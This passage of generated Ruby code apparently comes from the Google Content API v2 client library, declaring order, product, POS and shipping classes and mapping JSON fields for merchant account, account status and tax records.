class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderPickupDetailsCollector
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderRefund
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderReportDisbursement
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderReportTransaction
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderReturn
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderShipment
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderShipmentLineItemShipment
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderinvoicesCreateChargeInvoiceRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderinvoicesCreateChargeInvoiceResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderinvoicesCreateRefundInvoiceRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderinvoicesCreateRefundInvoiceResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceRefundOption
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderinvoicesCustomBatchRequestEntryCreateRefundInvoiceReturnOption
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderreportsListDisbursementsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderreportsListTransactionsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrderreturnsListResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersAcknowledgeRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersAcknowledgeResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersAdvanceTestOrderResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCancelLineItemRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCancelLineItemResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCancelRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCancelResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCancelTestOrderByCustomerRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCancelTestOrderByCustomerResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCreateTestOrderRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCreateTestOrderResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCreateTestReturnRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCreateTestReturnResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryCancel
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryCancelLineItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryCreateTestReturnReturnItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryInStoreRefundLineItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryRefund
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryRejectReturnLineItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryReturnLineItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryReturnRefundLineItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntrySetLineItemMetadata
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryShipLineItems
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryShipLineItemsShipmentInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryUpdateLineItemShippingDetails
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchRequestEntryUpdateShipment
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersCustomBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersGetByMerchantOrderIdResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersGetTestOrderTemplateResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersInStoreRefundLineItemRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersInStoreRefundLineItemResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersListResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersRefundRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersRefundResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersRejectReturnLineItemRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersRejectReturnLineItemResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersReturnLineItemRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersReturnLineItemResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersReturnRefundLineItemRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersReturnRefundLineItemResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersSetLineItemMetadataRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersSetLineItemMetadataResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersShipLineItemsRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersShipLineItemsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersUpdateLineItemShippingDetailsRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersUpdateLineItemShippingDetailsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersUpdateMerchantOrderIdRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersUpdateMerchantOrderIdResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersUpdateShipmentRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OrdersUpdateShipmentResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosCustomBatchRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosCustomBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosCustomBatchResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosCustomBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosDataProviders
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosDataProvidersPosDataProvider
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosInventory
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosInventoryRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosInventoryResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosListResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosSale
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosSaleRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosSaleResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PosStore
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PostalCodeGroup
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PostalCodeRange
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Price
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Product
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductAmount
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductAspect
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductDestination
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductShipping
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductShippingDimension
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductShippingWeight
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductStatus
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductStatusDataQualityIssue
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductStatusDestinationStatus
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductStatusItemLevelIssue
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductTax
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductUnitPricingBaseMeasure
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductUnitPricingMeasure
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchProductsRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductsBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchProductsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductsBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListProductsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchProductStatusesRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductStatusesBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchProductStatusesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ProductStatusesBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListProductStatusesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Promotion
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class RateGroup
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class RefundReason
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ReturnShipment
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Row
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Service
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShipmentInvoice
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShipmentInvoiceLineItemInvoice
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShipmentTrackingInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingsettingsCustomBatchRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingsettingsCustomBatchRequestEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingsettingsCustomBatchResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingsettingsCustomBatchResponseEntry
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingsettingsGetSupportedCarriersResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingsettingsGetSupportedHolidaysResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShippingsettingsListResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Table
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TestOrder
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TestOrderCustomer
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TestOrderCustomerMarketingRightsInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TestOrderLineItem
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TestOrderLineItemProduct
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TestOrderPaymentMethod
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TransitTable
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TransitTableTransitTimeRow
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TransitTableTransitTimeRowTransitTimeValue
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UnitInvoice
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UnitInvoiceAdditionalCharge
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UnitInvoiceTaxLine
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Value
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Weight
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Account
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :adult_content, as: 'adultContent'
collection :adwords_links, as: 'adwordsLinks', class: Google::Apis::ContentV2::AccountAdwordsLink, decorator: Google::Apis::ContentV2::AccountAdwordsLink::Representation
property :business_information, as: 'businessInformation', class: Google::Apis::ContentV2::AccountBusinessInformation, decorator: Google::Apis::ContentV2::AccountBusinessInformation::Representation
property :google_my_business_link, as: 'googleMyBusinessLink', class: Google::Apis::ContentV2::AccountGoogleMyBusinessLink, decorator: Google::Apis::ContentV2::AccountGoogleMyBusinessLink::Representation
property :id, :numeric_string => true, as: 'id'
property :kind, as: 'kind'
property :name, as: 'name'
property :reviews_url, as: 'reviewsUrl'
property :seller_id, as: 'sellerId'
collection :users, as: 'users', class: Google::Apis::ContentV2::AccountUser, decorator: Google::Apis::ContentV2::AccountUser::Representation
property :website_url, as: 'websiteUrl'
collection :youtube_channel_links, as: 'youtubeChannelLinks', class: Google::Apis::ContentV2::AccountYouTubeChannelLink, decorator: Google::Apis::ContentV2::AccountYouTubeChannelLink::Representation
end
end
class AccountAddress
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :locality, as: 'locality'
property :postal_code, as: 'postalCode'
property :region, as: 'region'
property :street_address, as: 'streetAddress'
end
end
class AccountAdwordsLink
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :adwords_id, :numeric_string => true, as: 'adwordsId'
property :status, as: 'status'
end
end
class AccountBusinessInformation
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :address, as: 'address', class: Google::Apis::ContentV2::AccountAddress, decorator: Google::Apis::ContentV2::AccountAddress::Representation
property :customer_service, as: 'customerService', class: Google::Apis::ContentV2::AccountCustomerService, decorator: Google::Apis::ContentV2::AccountCustomerService::Representation
property :phone_number, as: 'phoneNumber'
end
end
class AccountCustomerService
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :email, as: 'email'
property :phone_number, as: 'phoneNumber'
property :url, as: 'url'
end
end
class AccountGoogleMyBusinessLink
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :gmb_email, as: 'gmbEmail'
property :status, as: 'status'
end
end
class AccountIdentifier
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :aggregator_id, :numeric_string => true, as: 'aggregatorId'
property :merchant_id, :numeric_string => true, as: 'merchantId'
end
end
class AccountStatus
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, as: 'accountId'
collection :account_level_issues, as: 'accountLevelIssues', class: Google::Apis::ContentV2::AccountStatusAccountLevelIssue, decorator: Google::Apis::ContentV2::AccountStatusAccountLevelIssue::Representation
collection :data_quality_issues, as: 'dataQualityIssues', class: Google::Apis::ContentV2::AccountStatusDataQualityIssue, decorator: Google::Apis::ContentV2::AccountStatusDataQualityIssue::Representation
property :kind, as: 'kind'
collection :products, as: 'products', class: Google::Apis::ContentV2::AccountStatusProducts, decorator: Google::Apis::ContentV2::AccountStatusProducts::Representation
property :website_claimed, as: 'websiteClaimed'
end
end
class AccountStatusAccountLevelIssue
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :destination, as: 'destination'
property :detail, as: 'detail'
property :documentation, as: 'documentation'
property :id, as: 'id'
property :severity, as: 'severity'
property :title, as: 'title'
end
end
class AccountStatusDataQualityIssue
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :destination, as: 'destination'
property :detail, as: 'detail'
property :displayed_value, as: 'displayedValue'
collection :example_items, as: 'exampleItems', class: Google::Apis::ContentV2::AccountStatusExampleItem, decorator: Google::Apis::ContentV2::AccountStatusExampleItem::Representation
property :id, as: 'id'
property :last_checked, as: 'lastChecked'
property :location, as: 'location'
property :num_items, as: 'numItems'
property :severity, as: 'severity'
property :submitted_value, as: 'submittedValue'
end
end
class AccountStatusExampleItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :item_id, as: 'itemId'
property :link, as: 'link'
property :submitted_value, as: 'submittedValue'
property :title, as: 'title'
property :value_on_landing_page, as: 'valueOnLandingPage'
end
end
class AccountStatusItemLevelIssue
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :attribute_name, as: 'attributeName'
property :code, as: 'code'
property :description, as: 'description'
property :detail, as: 'detail'
property :documentation, as: 'documentation'
property :num_items, :numeric_string => true, as: 'numItems'
property :resolution, as: 'resolution'
property :servability, as: 'servability'
end
end
class AccountStatusProducts
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :channel, as: 'channel'
property :country, as: 'country'
property :destination, as: 'destination'
collection :item_level_issues, as: 'itemLevelIssues', class: Google::Apis::ContentV2::AccountStatusItemLevelIssue, decorator: Google::Apis::ContentV2::AccountStatusItemLevelIssue::Representation
property :statistics, as: 'statistics', class: Google::Apis::ContentV2::AccountStatusStatistics, decorator: Google::Apis::ContentV2::AccountStatusStatistics::Representation
end
end
class AccountStatusStatistics
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :active, :numeric_string => true, as: 'active'
property :disapproved, :numeric_string => true, as: 'disapproved'
property :expiring, :numeric_string => true, as: 'expiring'
property :pending, :numeric_string => true, as: 'pending'
end
end
class AccountTax
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
property :kind, as: 'kind'
collection :rules, as: 'rules', class: Google::Apis::ContentV2::AccountTaxTaxRule, decorator: Google::Apis::ContentV2::AccountTaxTaxRule::Representation
end
end
class AccountTaxTaxRule
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :location_id, :numeric_string => true, as: 'locationId'
property :rate_percent, as: 'ratePercent'
property :shipping_taxed, as: 'shippingTaxed'
property :use_global_rate, as: 'useGlobalRate'
end
end
class AccountUser
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :admin, as: 'admin'
property :email_address, as: 'emailAddress'
property :order_manager, as: 'orderManager'
property :payments_analyst, as: 'paymentsAnalyst'
property :payments_manager, as: 'paymentsManager'
end
end
class AccountYouTubeChannelLink
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :channel_id, as: 'channelId'
property :status, as: 'status'
end
end
class AccountsAuthInfoResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :account_identifiers, as: 'accountIdentifiers', class: Google::Apis::ContentV2::AccountIdentifier, decorator: Google::Apis::ContentV2::AccountIdentifier::Representation
property :kind, as: 'kind'
end
end
class AccountsClaimWebsiteResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class BatchAccountsRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::AccountsBatchRequestEntry, decorator: Google::Apis::ContentV2::AccountsBatchRequestEntry::Representation
end
end
class AccountsBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account, as: 'account', class: Google::Apis::ContentV2::Account, decorator: Google::Apis::ContentV2::Account::Representation
property :account_id, :numeric_string => true, as: 'accountId'
property :batch_id, as: 'batchId'
property :force, as: 'force'
property :link_request, as: 'linkRequest', class: Google::Apis::ContentV2::AccountsCustomBatchRequestEntryLinkRequest, decorator: Google::Apis::ContentV2::AccountsCustomBatchRequestEntryLinkRequest::Representation
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :request_method, as: 'method'
property :overwrite, as: 'overwrite'
end
end
class AccountsCustomBatchRequestEntryLinkRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :action, as: 'action'
property :link_type, as: 'linkType'
property :linked_account_id, as: 'linkedAccountId'
end
end
class BatchAccountsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::AccountsBatchResponseEntry, decorator: Google::Apis::ContentV2::AccountsBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class AccountsBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account, as: 'account', class: Google::Apis::ContentV2::Account, decorator: Google::Apis::ContentV2::Account::Representation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :kind, as: 'kind'
property :link_status, as: 'linkStatus'
end
end
class AccountsLinkRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :action, as: 'action'
property :link_type, as: 'linkType'
property :linked_account_id, as: 'linkedAccountId'
end
end
class AccountsLinkResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class ListAccountsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::Account, decorator: Google::Apis::ContentV2::Account::Representation
end
end
class BatchAccountStatusesRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::AccountStatusesBatchRequestEntry, decorator: Google::Apis::ContentV2::AccountStatusesBatchRequestEntry::Representation
end
end
class AccountStatusesBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
property :batch_id, as: 'batchId'
collection :destinations, as: 'destinations'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :request_method, as: 'method'
end
end
class BatchAccountStatusesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::AccountStatusesBatchResponseEntry, decorator: Google::Apis::ContentV2::AccountStatusesBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class AccountStatusesBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_status, as: 'accountStatus', class: Google::Apis::ContentV2::AccountStatus, decorator: Google::Apis::ContentV2::AccountStatus::Representation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
end
end
class ListAccountStatusesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::AccountStatus, decorator: Google::Apis::ContentV2::AccountStatus::Representation
end
end
class BatchAccountTaxRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::AccountTaxBatchRequestEntry, decorator: Google::Apis::ContentV2::AccountTaxBatchRequestEntry::Representation
end
end
class AccountTaxBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
property :account_tax, as: 'accountTax', class: Google::Apis::ContentV2::AccountTax, decorator: Google::Apis::ContentV2::AccountTax::Representation
property :batch_id, as: 'batchId'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :request_method, as: 'method'
end
end
class BatchAccountTaxResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::AccountTaxBatchResponseEntry, decorator: Google::Apis::ContentV2::AccountTaxBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class AccountTaxBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
